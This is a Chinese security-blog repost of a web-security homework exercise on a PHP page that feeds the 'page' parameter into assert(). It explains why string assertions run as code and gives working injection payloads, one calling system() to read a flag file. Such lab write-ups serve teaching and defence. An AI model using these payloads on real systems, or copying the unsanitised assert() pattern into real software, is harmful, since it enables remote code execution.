作业四 web安全assert()漏洞

admin 2025年6月1日02:16:43评论20 views字数 2470阅读8分14秒阅读模式
一、分析如下代码功能及漏洞,并书写payload
<?php
if (isset($_GET['page'])) {  //判断参数page是否为空
$page = $_GET['page'];
} else {    //为空输出page=home
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  //查找$file
中..第一次出现的位置,查找成功则返回true,失败则返回flase,
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>My PHP Website</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
</head>
<body>
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
   <div class="navbar-header">
   <button type="button" class="navbar-toggle collapsed" aria-expanded="false" aria-controls="navbar">
           <span class="sr-only">Toggle navigation</span>
           <span class="icon-bar"></span>
           <span class="icon-bar"></span>
           <span class="icon-bar"></span>
         </button>
         <a class="navbar-brand" href="#">Project name</a>
       </div>
       <div id="navbar" class="collapse navbar-collapse">
         <ul class="nav navbar-nav">
           <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
           <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
           <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
         </ul>
       </div>
   </div>
</nav>
<div class="container" style="margin-top: 50px">
<?php
require_once $file;
?>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
</body>
</html>
回答:
代码分析:
a. assert()函数其实是一个断言函数。
assert:这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;assert ( mixed $assertion [, string $description ] ) : bool
  如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
b. strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase,
c. 关键漏洞分析:
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
由于文件并没有对输入的字符进行过滤,可以进行语句闭合修改语句原本的意思,构建的payload:   /?page=');//                                            #双斜杠 " // " 再php中表示注释
d. payload
假设我们已经知道flag位于/templates/flag.php路径下,payload的构建可以直接一步到位,不用再用system('ls+xxx')回显路径,最后的

payload:    /?page=').system('cat+./templates/flag.php');//    

原文始发于微信公众号(豆豆咨询):作业四 web安全assert()漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月1日02:16:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   作业四 web安全assert()漏洞https://cn-sec.com/archives/4120393.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息